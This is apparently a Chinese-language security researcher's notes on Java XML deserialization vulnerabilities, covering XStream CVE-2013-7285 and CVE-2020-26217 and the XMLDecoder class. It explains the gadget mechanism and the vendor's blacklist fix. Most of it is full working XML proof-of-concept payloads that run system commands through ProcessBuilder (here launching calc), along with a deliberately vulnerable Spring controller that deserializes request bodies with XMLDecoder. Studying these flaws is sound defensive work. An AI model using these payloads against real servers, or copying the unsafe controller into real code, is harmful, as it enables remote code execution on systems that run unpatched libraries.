XStream反序列化原理
XStream将对象和xml字符串之间进行转换。
Object <=> XML字符串
XStream#toXML(Object o) // 对象=> xml
XStream#fromXML(FileInputStream xml) // xml => 对象
[CVE-2013-7285]XStream反序列化漏洞
影响范围
1.4.x<=1.4.6或1.4.10。
漏洞描述
Xstream API versions up to 1.4.6 and version 1.4.10, if the security framework has not been initialized, may allow a remote attacker to run arbitrary shell commands by manipulating the processed input stream when unmarshaling XML or any supported format. e.g. JSON.
原理
XStream是自己实现的一套序列化和反序列化机制,所以跟Java原生的反序列化有所区别。
XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。
PoC
执行多条命令:
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>cmd</string>
<string>/C</string>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
参考
另外一poc,参考:
https://blog.csdn.net/caiqiiqi/article/details/86990876
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
[CVE-2020-26217]XStream 远程代码执行漏洞
参考:
http://x-stream.github.io/CVE-2020-26217.html
https://vas.riskivy.com/vuln-detail?id=65
影响范围:
≤ 1.4.13
官方介绍说是:
reported originally as CVE-2017-9805 for Struts’ XStream Plugin
在pom.xml里加上这个:
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.13</version>
</dependency>
然后启动项目。
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
在1.4.13版本使用之前的javax.crypto.CipherInputStream
:
抛出这个异常:
com.thoughtworks.xstream.security.ForbiddenClassException
之前的java.beans.EventHandler
也不行了。
Tips:
为了让报错结果好看一些,可以加上这个Accept:
Accept: text/html,application/xhtml+xml,application/xml
看修复方法,貌似还是继续黑名单:
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
pom.xml里更新xstream版本到1.4.14,
发现java.lang.ProcessBuilder
也被加到了黑名单里。
XMLDecoder反序列化
参考:
https://blog.csdn.net/SKI_12/article/details/85058040
深入分析原理参考:
WebLogic 安全研究报告
PoC
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start" />
</object>
</java>
实际测试发现不加version和class属性也可以成功。如果要使用多个参数的payload,需要将array标签的length字段设置为具体长度即可。
对应的漏洞代码:
@RestController
public class XmlDecoderRCE {
/**
* @author shadowsock5 @2020-03-16
*/
@PostMapping("/XmlDecoder")
public String parseXml(HttpServletRequest request) throws Exception{
InputStream in = request.getInputStream();
XMLDecoder d = new XMLDecoder(in);
Object result = d.readObject(); //Deserialization happen here
return "xstream";
}
}